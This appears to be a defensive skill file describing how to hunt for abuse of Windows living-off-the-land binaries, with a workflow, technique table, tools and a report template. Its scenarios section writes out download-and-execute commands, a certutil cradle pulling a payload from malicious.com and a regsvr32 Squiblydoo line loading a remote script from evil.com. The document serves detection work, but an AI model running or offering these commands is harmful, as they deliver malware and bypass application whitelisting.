1---
2name: hunting-for-living-off-the-land-binaries
3description: Proactively hunt for adversary abuse of legitimate system binaries (LOLBins)
4 to execute malicious payloads while evading detection.
5domain: cybersecurity
6subdomain: threat-hunting
7tags:
8- threat-hunting
9- mitre-attack
10- lolbins
11- edr
12- siem
13- proactive-detection
14- defense-evasion
15version: '1.0'
16author: mahipal
17license: Apache-2.0
18d3fend_techniques:
19- Executable Denylisting
20- Execution Isolation
21- File Metadata Consistency Validation
22- Application Protocol Command Analysis
23- Content Format Conversion
24nist_csf:
25- DE.CM-01
26- DE.AE-02
27- DE.AE-07
28- ID.RA-05
29mitre_attack:
30- T1046
31- T1057
32- T1082
33- T1083
34- T1027
35source: https://github.com/mukul975/Anthropic-Cybersecurity-Skills
36source_commit: 04450304b12645cb2b974ab96d28c0664758a88d
37metadata:
38 source: https://skillmd.com/skills/yanacuti1121/hunting-for-living-off-the-land-binaries
39---
40
41# Hunting for Living-off-the-Land Binaries (LOLBins)
42
43## When to Use
44
45- When investigating fileless malware campaigns that bypass traditional AV
46- During proactive threat hunts targeting defense evasion techniques
47- When EDR alerts fire on legitimate binaries executing unusual child processes
48- After threat intelligence reports indicate LOLBin abuse in active campaigns
49- During red team/purple team exercises validating detection coverage for T1218
50
51## Prerequisites
52
53- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
54- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
55- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
56- PowerShell command-line logging enabled (Module Logging, Script Block Logging)
57- Network proxy or firewall logs for correlating outbound connections
58
59## Workflow
60
611. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
622. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
633. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
644. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
655. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
666. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
677. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.
68
69## Key Concepts
70
71| Concept | Description |
72|---------|-------------|
73| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |
74| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |
75| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |
76| T1218.001 | Compiled HTML File (mshta.exe) |
77| T1218.002 | Control Panel (control.exe) |
78| T1218.003 | CMSTP |
79| T1218.005 | Mshta |
80| T1218.010 | Regsvr32 |
81| T1218.011 | Rundll32 |
82| T1197 | BITS Jobs (bitsadmin.exe) |
83| T1140 | Deobfuscate/Decode Files (certutil.exe) |
84| Proxy Execution | Using trusted binaries to execute untrusted code |
85| Fileless Attack | Attack that operates primarily in memory without dropping files |
86
87## Tools & Systems
88
89| Tool | Purpose |
90|------|---------|
91| CrowdStrike Falcon | EDR telemetry and process tree analysis |
92| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |
93| Splunk | SIEM log aggregation and SPL queries |
94| Elastic Security | Detection rules and timeline investigation |
95| Sysmon | Detailed process creation and network logging |
96| LOLBAS Project | Reference database of LOLBin capabilities |
97| Sigma Rules | Generic detection rule format for LOLBins |
98| Velociraptor | Endpoint forensic collection and hunting |
99
100## Common Scenarios
101
1021. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http://malicious.com/payload.exe` to download malware, bypassing web proxies that allow certutil traffic.
1032. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.
1043. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.
1054. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll` bypassing application whitelisting.
1065. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin /transfer`.
107
108## Output Format
109
110```
111Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
112Hypothesis: [Stated hypothesis]
113LOLBins Investigated: [List of binaries]
114Time Range: [Start] - [End]
115Data Sources: [EDR, Sysmon, SIEM]
116Findings:
117 - [Finding 1 with evidence]
118 - [Finding 2 with evidence]
119Anomalies Detected: [Count]
120True Positives: [Count]
121False Positives: [Count]
122IOCs Identified: [List]
123Detection Rules Created/Updated: [List]
124Recommendations: [Next steps]
125```